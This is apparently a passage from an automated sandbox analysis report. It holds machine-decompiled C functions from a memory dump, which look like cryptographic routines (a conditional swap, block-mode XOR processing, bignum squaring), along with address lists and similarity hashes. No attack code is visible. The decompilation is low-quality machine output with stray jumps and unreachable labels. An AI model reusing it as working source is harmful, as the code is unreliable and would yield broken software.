                                                                							_t106 = (( *_t71)[7] ^ _t149) & _t90;
                                                                							_t76[7] = _t149 ^ _t106;
                                                                							( *_t71)[7] = ( *_t71)[7] ^ _t106;
                                                                							goto L9;
                                                                						case 8:
                                                                							L7:
                                                                							_t75 =  *_t172;
                                                                							_t146 = _t75[8];
                                                                							_t102 = (( *_t71)[8] ^ _t146) & _t90;
                                                                							_t75[8] = _t146 ^ _t102;
                                                                							( *_t71)[8] = ( *_t71)[8] ^ _t102;
                                                                							goto L8;
                                                                						case 9:
                                                                							L6:
                                                                							_t74 =  *_t172;
                                                                							_t143 = _t74[9];
                                                                							_t98 = (( *_t71)[9] ^ _t143) & _t90;
                                                                							_t74[9] = _t143 ^ _t98;
                                                                							( *_t71)[9] = ( *_t71)[9] ^ _t98;
                                                                							goto L7;
                                                                					}
                                                                				}
                                                                				L15:
                                                                				_t173 =  *_t172;
                                                                				_t170 =  *_t173;
                                                                				_t134 = ( *( *_t71) ^ _t170) & _t90;
                                                                				 *_t173 = _t170 ^ _t134;
                                                                				_t72 =  *_t71;
                                                                				 *_t72 =  *_t72 ^ _t134;
                                                                				return _t72;
                                                                			}


















                                                                0x00ac6b84
                                                                0x00ac6b8c
                                                                0x00ac6b91
                                                                0x00ac6b97
                                                                0x00ac6b9f
                                                                0x00ac6ba0
                                                                0x00ac6ba4
                                                                0x00ac6ba7
                                                                0x00ac6baa
                                                                0x00ac6bb0
                                                                0x00ac6bb9
                                                                0x00ac6bc0
                                                                0x00ac6bc3
                                                                0x00ac6bc3
                                                                0x00ac6bc5
                                                                0x00ac6bd2
                                                                0x00ac6bd6
                                                                0x00ac6bdb
                                                                0x00ac6be1
                                                                0x00ac6be2
                                                                0x00ac6be8
                                                                0x00000000
                                                                0x00ac6bb2
                                                                0x00ac6bb2
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6ca9
                                                                0x00ac6ca9
                                                                0x00ac6cad
                                                                0x00ac6cb5
                                                                0x00ac6cb9
                                                                0x00ac6cbe
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6c91
                                                                0x00ac6c91
                                                                0x00ac6c95
                                                                0x00ac6c9d
                                                                0x00ac6ca1
                                                                0x00ac6ca6
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6c79
                                                                0x00ac6c79
                                                                0x00ac6c7d
                                                                0x00ac6c85
                                                                0x00ac6c89
                                                                0x00ac6c8e
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6c61
                                                                0x00ac6c61
                                                                0x00ac6c65
                                                                0x00ac6c6d
                                                                0x00ac6c71
                                                                0x00ac6c76
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6c49
                                                                0x00ac6c49
                                                                0x00ac6c4d
                                                                0x00ac6c55
                                                                0x00ac6c59
                                                                0x00ac6c5e
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6c31
                                                                0x00ac6c31
                                                                0x00ac6c35
                                                                0x00ac6c3d
                                                                0x00ac6c41
                                                                0x00ac6c46
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6c19
                                                                0x00ac6c19
                                                                0x00ac6c1d
                                                                0x00ac6c25
                                                                0x00ac6c29
                                                                0x00ac6c2e
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6c01
                                                                0x00ac6c01
                                                                0x00ac6c05
                                                                0x00ac6c0d
                                                                0x00ac6c11
                                                                0x00ac6c16
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6be9
                                                                0x00ac6be9
                                                                0x00ac6bed
                                                                0x00ac6bf5
                                                                0x00ac6bf9
                                                                0x00ac6bfe
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac6bb2
                                                                0x00ac6cc1
                                                                0x00ac6cc1
                                                                0x00ac6cc5
                                                                0x00ac6ccb
                                                                0x00ac6ccf
                                                                0x00ac6cd1
                                                                0x00ac6cd3
                                                                0x00ac6cd8

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6d6333dd7fa2d4a6481bb6aad1c2491df3a6dbf078d8ef61ef96cab842b9b5f0
                                                                • Instruction ID: 5597657dc164074931e53c31d1b3a489d1ca89d01c4f273d5233d4ead81cdad9
                                                                • Opcode Fuzzy Hash: 6d6333dd7fa2d4a6481bb6aad1c2491df3a6dbf078d8ef61ef96cab842b9b5f0
                                                                • Instruction Fuzzy Hash: 33515076A05A018FD718CF1AC480946F7E3FFDD31072AC699C5999B32AD730F8429A94
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 32%
                                                                			E00ABD9D9(unsigned int __ebx, void* __ecx, void* __edx, signed int __edi, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, signed int _a32, signed int _a36, signed int _a40, signed int _a44, signed int _a48, signed int _a52, signed int _a56, signed int _a60, signed int _a64, signed int _a68, signed int _a84) {
                                                                				void* __esi;
                                                                				signed int* _t108;
                                                                				signed int* _t116;
                                                                				unsigned int _t136;
                                                                				intOrPtr _t137;
                                                                				intOrPtr _t138;
                                                                				signed int _t140;
                                                                				signed int _t152;
                                                                				unsigned int _t164;
                                                                				intOrPtr _t173;
                                                                				signed int _t182;
                                                                				intOrPtr _t183;
                                                                				signed int _t185;
                                                                				intOrPtr _t186;
                                                                				intOrPtr* _t187;
                                                                				intOrPtr _t188;
                                                                				intOrPtr _t189;
                                                                				intOrPtr _t192;
                                                                				signed int _t195;
                                                                				signed int _t196;
                                                                				void* _t202;
                                                                
                                                                				_t182 = __edi;
                                                                				_t136 = __ebx;
                                                                				while(1) {
                                                                					L3:
                                                                					_a16 = _a16 + 1;
                                                                					_t140 = (_t164 << 0x00000020 | _t140) >> 1;
                                                                					_t164 = _t164 >> 1;
                                                                					if((_t140 & 0x00000001) == 0) {
                                                                						continue;
                                                                					} else {
                                                                						goto L4;
                                                                					}
                                                                					while(1) {
                                                                						L4:
                                                                						_push(_a16);
                                                                						_push(_t187);
                                                                						_t108 = E00ABD530();
                                                                						_t196 = _t195 + 8;
                                                                						if(_t108 == 0) {
                                                                							break;
                                                                						}
                                                                						 *(_t187 + 0x68) =  *(_t187 + 0x68) ^  *_t108;
                                                                						 *(_t187 + 0x6c) =  *(_t187 + 0x6c) ^ _t108[1];
                                                                						 *(_t187 + 0x70) =  *(_t187 + 0x70) ^ _t108[2];
                                                                						 *(_t187 + 0x74) =  *(_t187 + 0x74) ^ _t108[3];
                                                                						_t116 = (_t182 -  *((intOrPtr*)(_t187 + 0x48)) - 1 << 4) + _a20;
                                                                						_a36 =  *(_t187 + 0x68) ^  *_t116;
                                                                						_a40 =  *(_t187 + 0x6c) ^ _t116[1];
                                                                						_a44 = _t116[2] ^  *(_t187 + 0x70);
                                                                						_a48 = _t116[3] ^  *(_t187 + 0x74);
                                                                						 *((intOrPtr*)( *_t187))( &_a36,  &_a52,  *((intOrPtr*)(_t187 + 8)));
                                                                						 *(_t187 + 0x78) =  *(_t187 + 0x78) ^ _a52;
                                                                						 *(_t187 + 0x7c) =  *(_t187 + 0x7c) ^ _a56;
                                                                						 *(_t187 + 0x80) =  *(_t187 + 0x80) ^ _a60;
                                                                						 *(_t187 + 0x84) =  *(_t187 + 0x84) ^ _a64;
                                                                						_t192 = _a28;
                                                                						_t195 = _t196 + 0xc;
                                                                						_t182 = _t182 + 1;
                                                                						asm("adc ebx, 0x0");
                                                                						_t202 = _t136 - _t192;
                                                                						if(_t202 < 0 || _t202 <= 0 && _t182 <= _a24) {
                                                                							_t140 = _t182;
                                                                							_t164 = _t136;
                                                                							_a16 = 0;
                                                                							if((_t182 & 0x00000001) == 0) {
                                                                								do {
                                                                									goto L3;
                                                                								} while ((_t140 & 0x00000001) == 0);
                                                                							}
                                                                							continue;
                                                                						} else {
                                                                							_t152 = _a32;
                                                                							_t173 = _a24;
                                                                							_t185 = _a84 & 0x0000000f;
                                                                							if(_t185 > 0) {
                                                                								 *(_t187 + 0x6c) =  *(_t187 + 0x6c) ^  *(_t187 + 0x24);
                                                                								 *(_t187 + 0x68) =  *(_t187 + 0x68) ^  *(_t187 + 0x20);
                                                                								 *(_t187 + 0x74) =  *(_t187 + 0x74) ^  *(_t187 + 0x2c);
                                                                								 *(_t187 + 0x70) =  *(_t187 + 0x70) ^  *(_t187 + 0x28);
                                                                								_a36 = 0;
                                                                								_a40 = 0;
                                                                								_a44 = 0;
                                                                								_a48 = 0;
                                                                								E00B8B7A0(_t136, _t185, _t187,  &_a36, (_t152 << 4) + _a20, _t185);
                                                                								 *((char*)(_t195 + _t185 + 0x30)) = 0x80;
                                                                								_a52 =  *(_t187 + 0x68) ^ _a36;
                                                                								_a56 =  *(_t187 + 0x6c) ^ _a40;
                                                                								_a60 = _a44 ^  *(_t187 + 0x70);
                                                                								_a64 = _a48 ^  *(_t187 + 0x74);
                                                                								 *((intOrPtr*)( *_t187))( &_a52,  &_a36,  *((intOrPtr*)(_t187 + 8)));
                                                                								 *(_t187 + 0x78) =  *(_t187 + 0x78) ^ _a36;
                                                                								 *(_t187 + 0x7c) =  *(_t187 + 0x7c) ^ _a40;
                                                                								 *(_t187 + 0x80) =  *(_t187 + 0x80) ^ _a44;
                                                                								_t173 = _a24;
                                                                								_t195 = _t195 + 0x18;
                                                                								 *(_t187 + 0x84) =  *(_t187 + 0x84) ^ _a48;
                                                                							}
                                                                							_pop(_t186);
                                                                							 *((intOrPtr*)(_t187 + 0x4c)) = _t192;
                                                                							 *((intOrPtr*)(_t187 + 0x48)) = _t173;
                                                                							_pop(_t189);
                                                                							_pop(_t138);
                                                                							return E00B89C26(1, _t138, _a68 ^ _t195, _t173, _t186, _t189);
                                                                						}
                                                                						L13:
                                                                					}
                                                                					_pop(_t183);
                                                                					_pop(_t188);
                                                                					_pop(_t137);
                                                                					return E00B89C26(0, _t137, _a68 ^ _t196, _t164, _t183, _t188);
                                                                					goto L13;
                                                                					L3:
                                                                					_a16 = _a16 + 1;
                                                                					_t140 = (_t164 << 0x00000020 | _t140) >> 1;
                                                                					_t164 = _t164 >> 1;
                                                                				}
                                                                			}
























                                                                0x00abd9d9
                                                                0x00abd9d9
                                                                0x00abd9e0
                                                                0x00abd9e0
                                                                0x00abd9e0
                                                                0x00abd9e4
                                                                0x00abd9ef
                                                                0x00abd9f3
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00abd9f5
                                                                0x00abd9f5
                                                                0x00abd9f9
                                                                0x00abd9fa
                                                                0x00abd9fb
                                                                0x00abda00
                                                                0x00abda05
                                                                0x00000000
                                                                0x00000000
                                                                0x00abda0d
                                                                0x00abda13
                                                                0x00abda19
                                                                0x00abda1f
                                                                0x00abda31
                                                                0x00abda3a
                                                                0x00abda3e
                                                                0x00abda54
                                                                0x00abda5c
                                                                0x00abda66
                                                                0x00abda6c
                                                                0x00abda7b
                                                                0x00abda7e
                                                                0x00abda84
                                                                0x00abda8a
                                                                0x00abda8e
                                                                0x00abda91
                                                                0x00abda94
                                                                0x00abda97
                                                                0x00abda99
                                                                0x00abd9c9
                                                                0x00abd9cb
                                                                0x00abd9cd
                                                                0x00abd9d5
                                                                0x00abd9e0
                                                                0x00000000
                                                                0x00000000
                                                                0x00abd9e0
                                                                0x00000000
                                                                0x00abdaab
                                                                0x00abdaab
                                                                0x00abdaaf
                                                                0x00abdab7
                                                                0x00abdaba
                                                                0x00abdac3
                                                                0x00abdacc
                                                                0x00abdacf
                                                                0x00abdad5
                                                                0x00abdae8
                                                                0x00abdaec
                                                                0x00abdaf0
                                                                0x00abdaf4
                                                                0x00abdaf8
                                                                0x00abdb03
                                                                0x00abdb17
                                                                0x00abdb22
                                                                0x00abdb2c
                                                                0x00abdb34
                                                                0x00abdb3e
                                                                0x00abdb44
                                                                0x00abdb4f
                                                                0x00abdb56
                                                                0x00abdb5c
                                                                0x00abdb60
                                                                0x00abdb63
                                                                0x00abdb63
                                                                0x00abdb69
                                                                0x00abdb6a
                                                                0x00abdb6d
                                                                0x00abdb70
                                                                0x00abdb77
                                                                0x00abdb86
                                                                0x00abdb86
                                                                0x00000000
                                                                0x00abda99
                                                                0x00abdb8b
                                                                0x00abdb8c
                                                                0x00abdb8e
                                                                0x00abdb9b
                                                                0x00000000
                                                                0x00abd9e0
                                                                0x00abd9e0
                                                                0x00abd9e4
                                                                0x00abd9ef
                                                                0x00abd9f1

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 91c4b42d9cc7a207ca6aacbf1f36683e1ba95b8e53cefcaaa68828bda594ca16
                                                                • Instruction ID: 2361842ddfbb62e0bbe5639cdd3a4ffdd93c793dfdc7407dd2fbf2971545fd1f
                                                                • Opcode Fuzzy Hash: 91c4b42d9cc7a207ca6aacbf1f36683e1ba95b8e53cefcaaa68828bda594ca16
                                                                • Instruction Fuzzy Hash: A3519F75A08B009FD368CF29C581A5BBBE1FF88310F558A1EE59A87661D731E841CB42
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 36%
                                                                			E00ABD7D0(intOrPtr __ebx, void* __ebp, signed int _a1, intOrPtr _a4, signed int _a5, char _a8, signed int _a9, unsigned int _a12, short _a13, signed int _a15, signed char _a16, signed int _a18, signed int _a19, signed char _a20, signed char _a22, signed char _a23, signed char _a24, intOrPtr _a28, signed char _a32, signed char _a36, signed char _a40, intOrPtr _a44, signed char _a48, signed char _a49, signed char _a50, signed char _a51, signed char _a52, signed char _a53, signed char _a54, signed char _a55, signed char _a56, intOrPtr _a60, char _a64, unsigned int _a68, signed char _a71, signed int _a72, intOrPtr* _a80, intOrPtr _a84, intOrPtr _a88, signed char _a92) {
                                                                				signed char _v0;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t62;
                                                                				unsigned int _t76;
                                                                				signed char _t81;
                                                                				signed char _t82;
                                                                				signed int _t101;
                                                                				intOrPtr _t102;
                                                                				intOrPtr _t103;
                                                                				signed char _t109;
                                                                				signed char _t116;
                                                                				signed char _t124;
                                                                				signed char _t126;
                                                                				intOrPtr _t129;
                                                                				intOrPtr* _t132;
                                                                				signed int _t137;
                                                                				signed int _t139;
                                                                
                                                                				_t91 = __ebx;
                                                                				E00B8BB10(0x4c);
                                                                				_t62 =  *0xbe5970; // 0xe6e1d076
                                                                				_a72 = _t62 ^ _t137;
                                                                				_t103 = _a84;
                                                                				_t132 = _a80;
                                                                				_t129 = _a88;
                                                                				_t64 = _t129 - 1;
                                                                				if(_t129 - 1 > 0xe) {
                                                                					L3:
                                                                					return E00B89C26(_t64 | 0xffffffff, _t91, _a72 ^ _t137, _t121, _t129, _t132);
                                                                				} else {
                                                                					_t64 = _a92;
                                                                					_t121 = _t64 - 1;
                                                                					if(_t64 - 1 > 0xf) {
                                                                						goto L3;
                                                                					} else {
                                                                						_v0 = _t64 << 0x00000004 & 0x000000fe;
                                                                						_a1 = 0;
                                                                						_a5 = 0;
                                                                						_a9 = 0;
                                                                						_a13 = 0;
                                                                						_a15 = 0;
                                                                						E00B8B7A0(__ebx, _t129, _t132,  &_a16 - _t129, _t103, _t129);
                                                                						 *( &_a15 - _t129) =  *( &_a15 - _t129) | 0x00000001;
                                                                						_a64 = _a8;
                                                                						_t76 = _a12;
                                                                						_a68 = _t76;
                                                                						_a56 = _v0;
                                                                						_a60 = _a4;
                                                                						_a71 = _t76 >> 0x00000018 & 0x000000c0;
                                                                						 *((intOrPtr*)( *_t132))( &_a56,  &_a16,  *((intOrPtr*)(_t132 + 8)), __ebp, __ebx);
                                                                						_t109 = _a16;
                                                                						_t81 = _a20;
                                                                						_t124 = _a24;
                                                                						_a48 = _t109 ^ _t109;
                                                                						_a32 = _t109;
                                                                						_a50 = _a19 & 0x000000ff ^ _a18;
                                                                						_a49 = _a18 ^ _t109;
                                                                						_a51 = _t81 ^ _a19;
                                                                						_a52 = _t81 ^ _t81;
                                                                						_t116 = _a22;
                                                                						_a36 = _t81;
                                                                						_t82 = _a23;
                                                                						_a53 = _t116 ^ _t81;
                                                                						_a40 = _t124;
                                                                						_a54 = _t82 ^ _t116;
                                                                						_t139 = _t137 + 0x18;
                                                                						_t101 = _a15 & 7;
                                                                						_a44 = _a28;
                                                                						_a55 = _t124 ^ _t82;
                                                                						_t126 =  &(( &_a48)[_t139]);
                                                                						E00ABD3D0(_t101, _t126, _t132 + 0x88, (_a15 & 0x3f) >> 3);
                                                                						_pop(_t102);
                                                                						 *(_t132 + 0x97) =  *(_t132 + 0x97) | ( *(_t139 +  &_a64) & 0x000000ff & (_t126 | 0x000000ff) << 0x00000008) >> 0x00000008 - _t101;
                                                                						return E00B89C26(1, _t102, _a72 ^ _t139, (_t126 | 0x000000ff) << 8, _t132 + 0x88, _t132);
                                                                					}
                                                                				}
                                                                			}





















                                                                0x00abd7d0
                                                                0x00abd7d5
                                                                0x00abd7da
                                                                0x00abd7e1
                                                                0x00abd7e5
                                                                0x00abd7ea
                                                                0x00abd7ef
                                                                0x00abd7f3
                                                                0x00abd7f9
                                                                0x00abd946
                                                                0x00abd959
                                                                0x00abd7ff
                                                                0x00abd7ff
                                                                0x00abd803
                                                                0x00abd809
                                                                0x00000000
                                                                0x00abd80f
                                                                0x00abd815
                                                                0x00abd81c
                                                                0x00abd820
                                                                0x00abd824
                                                                0x00abd828
                                                                0x00abd82d
                                                                0x00abd83a
                                                                0x00abd845
                                                                0x00abd854
                                                                0x00abd858
                                                                0x00abd85c
                                                                0x00abd860
                                                                0x00abd86f
                                                                0x00abd877
                                                                0x00abd881
                                                                0x00abd883
                                                                0x00abd887
                                                                0x00abd88f
                                                                0x00abd893
                                                                0x00abd89d
                                                                0x00abd8ae
                                                                0x00abd8b8
                                                                0x00abd8bc
                                                                0x00abd8c4
                                                                0x00abd8c8
                                                                0x00abd8d0
                                                                0x00abd8d4
                                                                0x00abd8d8
                                                                0x00abd8de
                                                                0x00abd8ee
                                                                0x00abd8f6
                                                                0x00abd8f9
                                                                0x00abd8ff
                                                                0x00abd903
                                                                0x00abd90d
                                                                0x00abd911
                                                                0x00abd925
                                                                0x00abd92b
                                                                0x00abd945
                                                                0x00abd945
                                                                0x00abd809

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2103da1b2f0e78db67b5cb2989ab14fd7d1870526f233d135349ae17273a6efb
                                                                • Instruction ID: b0259fcf4c4025f62f0964fd8f36a2e395b8d3a922ef57c7eaa74f97a9bc7f77
                                                                • Opcode Fuzzy Hash: 2103da1b2f0e78db67b5cb2989ab14fd7d1870526f233d135349ae17273a6efb
                                                                • Instruction Fuzzy Hash: 3F4123B660D3809FC305CBA8849059FFBE5ABDA310F885D6EF4D887352D6A5E508CB53
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 93%
                                                                			E00AE8670(void* __eflags, signed int* _a4, signed int* _a8, signed int _a12) {
                                                                				signed int _t111;
                                                                				signed int _t112;
                                                                				signed int _t113;
                                                                				signed int _t114;
                                                                				signed int _t115;
                                                                				signed int _t116;
                                                                				signed int _t117;
                                                                				signed int _t118;
                                                                				signed int _t119;
                                                                				signed int _t121;
                                                                				signed int _t123;
                                                                				signed int _t125;
                                                                				signed int _t127;
                                                                				signed int _t129;
                                                                				signed int _t131;
                                                                				signed int _t133;
                                                                				signed int* _t134;
                                                                				signed int _t137;
                                                                				signed int _t139;
                                                                				signed int _t141;
                                                                				signed int _t142;
                                                                				signed int _t143;
                                                                				signed int _t144;
                                                                				signed int _t145;
                                                                				signed int _t147;
                                                                				signed int* _t163;
                                                                				signed int* _t165;
                                                                				signed int* _t168;
                                                                
                                                                				_t111 = 0xdec6d0;
                                                                				asm("bt dword [eax], 0x1a");
                                                                				if(__eflags >= 0) {
                                                                					_t168 = _a4;
                                                                					_t165 = _a8;
                                                                					_t137 = _a12 & 0xfffffff8;
                                                                					__eflags = _t137;
                                                                					while(_t137 != 0) {
                                                                						_t119 =  *_t165;
                                                                						 *_t168 = _t119 * _t119;
                                                                						_t168[1] = _t119 * _t119 >> 0x20;
                                                                						_t121 = _t165[1];
                                                                						_t168[2] = _t121 * _t121;
                                                                						_t168[3] = _t121 * _t121 >> 0x20;
                                                                						_t123 = _t165[2];
                                                                						_t168[4] = _t123 * _t123;
                                                                						_t168[5] = _t123 * _t123 >> 0x20;
                                                                						_t125 = _t165[3];
                                                                						_t168[6] = _t125 * _t125;
                                                                						_t168[7] = _t125 * _t125 >> 0x20;
                                                                						_t127 = _t165[4];
                                                                						_t168[8] = _t127 * _t127;
                                                                						_t168[9] = _t127 * _t127 >> 0x20;
                                                                						_t129 = _t165[5];
                                                                						_t168[0xa] = _t129 * _t129;
                                                                						_t168[0xb] = _t129 * _t129 >> 0x20;
                                                                						_t131 = _t165[6];
                                                                						_t168[0xc] = _t131 * _t131;
                                                                						_t168[0xd] = _t131 * _t131 >> 0x20;
                                                                						_t133 = _t165[7];
                                                                						_t111 = _t133 * _t133;
                                                                						_t168[0xe] = _t111;
                                                                						_t168[0xf] = _t133 * _t133 >> 0x20;
                                                                						_t165 =  &(_t165[8]);
                                                                						_t168 =  &(_t168[0x10]);
                                                                						_t137 = _t137 - 8;
                                                                						__eflags = _t137;
                                                                					}
                                                                					_t139 = _a12 & 0x00000007;
                                                                					__eflags = _t139;
                                                                					if(_t139 != 0) {
                                                                						_t112 =  *_t165;
                                                                						_t111 = _t112 * _t112;
                                                                						 *_t168 = _t111;
                                                                						_t141 = _t139 - 1;
                                                                						__eflags = _t141;
                                                                						_t168[1] = _t112 * _t112 >> 0x20;
                                                                						if(_t141 != 0) {
                                                                							_t113 = _t165[1];
                                                                							_t111 = _t113 * _t113;
                                                                							_t168[2] = _t111;
                                                                							_t142 = _t141 - 1;
                                                                							__eflags = _t142;
                                                                							_t168[3] = _t113 * _t113 >> 0x20;
                                                                							if(_t142 != 0) {
                                                                								_t114 = _t165[2];
                                                                								_t111 = _t114 * _t114;
                                                                								_t168[4] = _t111;
                                                                								_t143 = _t142 - 1;
                                                                								__eflags = _t143;
                                                                								_t168[5] = _t114 * _t114 >> 0x20;
                                                                								if(_t143 != 0) {
                                                                									_t115 = _t165[3];
                                                                									_t111 = _t115 * _t115;
                                                                									_t168[6] = _t111;
                                                                									_t144 = _t143 - 1;
                                                                									__eflags = _t144;
                                                                									_t168[7] = _t115 * _t115 >> 0x20;
                                                                									if(_t144 != 0) {
                                                                										_t116 = _t165[4];
                                                                										_t111 = _t116 * _t116;
                                                                										_t168[8] = _t111;
                                                                										_t145 = _t144 - 1;
                                                                										__eflags = _t145;
                                                                										_t168[9] = _t116 * _t116 >> 0x20;
                                                                										if(_t145 != 0) {
                                                                											_t117 = _t165[5];
                                                                											_t111 = _t117 * _t117;
                                                                											_t168[0xa] = _t111;
                                                                											__eflags = _t145 != 1;
                                                                											_t168[0xb] = _t117 * _t117 >> 0x20;
                                                                											if(_t145 != 1) {
                                                                												_t118 = _t165[6];
                                                                												_t111 = _t118 * _t118;
                                                                												__eflags = _t111;
                                                                												_t168[0xc] = _t111;
                                                                												_t168[0xd] = _t118 * _t118 >> 0x20;
                                                                											}
                                                                										}
                                                                									}
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                					return _t111;
                                                                				} else {
                                                                					_t134 = _a4;
                                                                					_t163 = _a8;
                                                                					_t147 = _a12;
                                                                					goto L2;
                                                                					L2:
                                                                					asm("movd mm0, dword [edx]");
                                                                					asm("pmuludq mm0, mm0");
                                                                					_t163 =  &(_t163[1]);
                                                                					asm("movq [eax], mm0");
                                                                					_t147 = _t147 - 1;
                                                                					_t134 =  &(_t134[2]);
                                                                					if(_t147 != 0) {
                                                                						goto L2;
                                                                					} else {
                                                                						asm("emms");
                                                                						return _t134;
                                                                					}
                                                                				}
                                                                			}































                                                                0x00ae8670
                                                                0x00ae8676
                                                                0x00ae867a
                                                                0x00ae86b4
                                                                0x00ae86b8
                                                                0x00ae86c0
                                                                0x00ae86c0
                                                                0x00ae86c3
                                                                0x00ae86c9
                                                                0x00ae86cd
                                                                0x00ae86cf
                                                                0x00ae86d2
                                                                0x00ae86d7
                                                                0x00ae86da
                                                                0x00ae86dd
                                                                0x00ae86e2
                                                                0x00ae86e5
                                                                0x00ae86e8
                                                                0x00ae86ed
                                                                0x00ae86f0
                                                                0x00ae86f3
                                                                0x00ae86f8
                                                                0x00ae86fb
                                                                0x00ae86fe
                                                                0x00ae8703
                                                                0x00ae8706
                                                                0x00ae8709
                                                                0x00ae870e
                                                                0x00ae8711
                                                                0x00ae8714
                                                                0x00ae8717
                                                                0x00ae8719
                                                                0x00ae871c
                                                                0x00ae871f
                                                                0x00ae8722
                                                                0x00ae8725
                                                                0x00ae8725
                                                                0x00ae8725
                                                                0x00ae8732
                                                                0x00ae8732
                                                                0x00ae8735
                                                                0x00ae873b
                                                                0x00ae873d
                                                                0x00ae873f
                                                                0x00ae8741
                                                                0x00ae8741
                                                                0x00ae8742
                                                                0x00ae8745
                                                                0x00ae874b
                                                                0x00ae874e
                                                                0x00ae8750
                                                                0x00ae8753
                                                                0x00ae8753
                                                                0x00ae8754
                                                                0x00ae8757
                                                                0x00ae875d
                                                                0x00ae8760
                                                                0x00ae8762
                                                                0x00ae8765
                                                                0x00ae8765
                                                                0x00ae8766
                                                                0x00ae8769
                                                                0x00ae876f
                                                                0x00ae8772
                                                                0x00ae8774
                                                                0x00ae8777
                                                                0x00ae8777
                                                                0x00ae8778
                                                                0x00ae877b
                                                                0x00ae8781
                                                                0x00ae8784
                                                                0x00ae8786
                                                                0x00ae8789
                                                                0x00ae8789
                                                                0x00ae878a
                                                                0x00ae878d
                                                                0x00ae8793
                                                                0x00ae8796
                                                                0x00ae8798
                                                                0x00ae879b
                                                                0x00ae879c
                                                                0x00ae879f
                                                                0x00ae87a5
                                                                0x00ae87a8
                                                                0x00ae87a8
                                                                0x00ae87aa
                                                                0x00ae87ad
                                                                0x00ae87ad
                                                                0x00ae879f
                                                                0x00ae878d
                                                                0x00ae877b
                                                                0x00ae8769
                                                                0x00ae8757
                                                                0x00ae8745
                                                                0x00ae87b4
                                                                0x00ae8680
                                                                0x00ae8680
                                                                0x00ae8684
                                                                0x00ae8688
                                                                0x00ae8688
                                                                0x00ae8690
                                                                0x00ae8690
                                                                0x00ae8693
                                                                0x00ae8696
                                                                0x00ae8699
                                                                0x00ae869c
                                                                0x00ae869f
                                                                0x00ae86a2
                                                                0x00000000
                                                                0x00ae86a8
                                                                0x00ae86a8
                                                                0x00ae86aa
                                                                0x00ae86aa
                                                                0x00ae86a2

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
